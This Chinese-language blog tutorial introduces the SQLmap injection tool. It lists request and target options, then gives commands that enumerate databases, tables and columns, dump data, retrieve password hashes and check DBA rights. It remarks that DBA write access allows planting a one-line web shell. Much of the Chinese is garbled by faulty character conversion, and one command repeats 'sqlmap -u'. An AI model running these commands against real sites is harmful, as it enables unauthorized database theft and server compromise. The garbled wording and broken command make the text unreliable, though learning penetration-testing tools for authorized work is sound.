天天看點

滲透測試之二 工具介紹SQLmapSQLmap介紹

SQLmap介紹

  • 是滲透測試中常用的攻擊工具,用來對資料庫進行SQL注入等

SQLmap參數詳解

Usage: python sqlmap.py [options]

Options(選項):

-h, --help Show basic help message and exit 展示幫助文檔 參數

-hh Show advanced help message and exit 展示詳細幫助文檔 參數

–version Show program’s version number and exit 顯示程式的版本号

-v VERBOSE Verbosity level: 0-6 (default 1) 詳細級别:0-6(預設為1)

Target(目标):

At least one of these options has to be provided to define the

target(s)

-d DIRECT Connection string for direct database connection 指定具體

資料庫

-u URL, --url=URL Target URL (e.g. “http://www.site.com/vuln.php?id=1”) 目标

URL

-l LOGFILE Parse target(s) from Burp or WebScarab proxy log file 解析目标

(s)從Burp或WebScarab代理日志檔案

-x SITEMAPURL Parse target(s) from remote sitemap(.xml) file 解析目标

(s)從遠端站點地圖檔案(.xml)

-m BULKFILE Scan multiple targets given in a textual file 掃描文本檔案

中給出的多個目标

-r REQUESTFILE Load HTTP request from a file 從本地檔案加載HTTP請求 ,多

用于post注入。

-g GOOGLEDORK Process Google dork results as target URLs 處理

Google的結果作為目标URL。

-c CONFIGFILE Load options from a configuration INI file 從INI配置文

件中加載選項。

Request(請求):

These options can be used to specify how to connect to the target URL 這些選項

可以用來指定如何連接配接到目标URL。

–method=METHOD Force usage of given HTTP method (e.g. PUT) 強制

使用給定的HTTP方法(e.g. PUT)

–data=DATA Data string to be sent through POST 通過POST發送

的資料字元串

–param-del=PARA… Character used for splitting parameter values 用于拆分

參數值的字元

–cookie=COOKIE HTTP Cookie header value HTTP Cookie頭

的值

–cookie-del=COO… Character used for splitting cookie values 用于分割

Cookie值的字元

–load-cookies=L… File containing cookies in Netscape/wget format 包含

Netscape / wget格式的cookie的檔案

–drop-set-cookie Ignore Set-Cookie header from response 從響應中忽

略Set-Cookie頭

–user-agent=AGENT HTTP User-Agent header value 指定 HTTP

User - Agent頭

–random-agent Use randomly selected HTTP User-Agent header value 使用

随機標明的HTTP User - Agent頭

–host=HOST HTTP Host header value HTTP主機頭值

–referer=REFERER HTTP Referer header value 指定 HTTP

Referer頭

-H HEADER, --hea… Extra header (e.g. “X-Forwarded-For: 127.0.0.1”) 額外

header

–headers=HEADERS Extra headers (e.g. “Accept-Language: fr\nETag: 123”) 額外

header

–auth-type=AUTH… HTTP authentication type (Basic, Digest, NTLM or PKI) HTTP

認證類型(Basic, Digest, NTLM or PKI)

–auth-cred=AUTH… HTTP authentication credentials (name:password) HTTP

認證憑證(name:password)

–auth-file=AUTH… HTTP authentication PEM cert/private key file HTTP認證

PEM認證/私鑰檔案

–ignore-401 Ignore HTTP Error 401 (Unauthorized) 忽略HTTP錯誤

401

–proxy=PROXY Use a proxy to connect to the target URL 使用代理連

接到目标網址

–proxy-cred=PRO… Proxy authentication credentials (name:password) 代理認

證證書(name:password)

–proxy-file=PRO… Load proxy list from a file 從檔案中加載代理列

–ignore-proxy Ignore system default proxy settings 忽略系統預設代

理設定

–tor Use Tor anonymity network 使用Tor匿名網絡

–tor-port=TORPORT Set Tor proxy port other than default 設定Tor代

理端口而不是預設值

–tor-type=TOTORTYPE Set Tor proxy type (HTTP (default), SOCKS4 or SOCKS5) 設定

Tor代理類型

–check-tor Check to see if Tor is used properly 檢查Tor是否正确

使用

–delay=DELAY Delay in seconds between each HTTP request 每個

HTTP請求之間的延遲(秒)

–timeout=TIMEOUT Seconds to wait before timeout connection (default 30) 秒

逾時連接配接前等待(預設30)

–retries=RETRIES Retries when the connection timeouts (default 3) 連接配接逾時

時重試(預設值3)

–randomize=RPARAM Randomly change value for given parameter(s) 随

機更改給定參數的值(s)

–safe-url=SAFEURL URL address to visit frequently during testing 在測試期

間頻繁通路的URL位址

–safe-post=SAFE… POST data to send to a safe URL POST資料發

送到安全URL

–safe-req=SAFER… Load safe HTTP request from a file 從檔案加載安

全HTTP請求

常用指令如下:

  • 測試SQL注入:
sqlmap -u http://www.test.com/index.php?id=1 --dbs
  • 自動探測資料庫類型和漏洞,如果成功會列出資料庫
  • 獲得某個資料庫中的表:
sqlmap -u sqlmap -u http://www.test.com/index.php?id=1 --dbs -D some_db --tables
  • 獲得表的字段:
sqlmap -u http://www.test.com/index.php?id=1 --dbs -D some_db --tables -T some_table --columns
  • 下載下傳某一字段的資料:
sqlmap -u http://www.test.com/index.php?id=1 --dbs -D some_db --tables -T some_table --columns -C some_col --dump

稍進階一點的用法

–is-dba 目前使用者權限(是否為root權限,mssql下最高權限為sa)

–dbs 所有資料庫

–current-db 網站目前資料庫

–users 所有資料庫使用者

–current-user 目前資料庫使用者

–random-agent 構造随機user-agent

–passwords 資料庫密碼

–proxy http://local:8080 –threads 10 (可以自定義線程加速) 代理

–time-sec=TIMESEC DBMS響應的延遲時間(預設為5秒

–threads= 使用多少線程

  • --is-dba

    這個指令有時候決定了你是否可以在伺服器下進行寫的操作,這個很重要,是否有寫的權限,代表你是否可以在伺服器上面寫入一句話木馬

利用sqlmap進行POST注入

  • 參考文章

繼續閱讀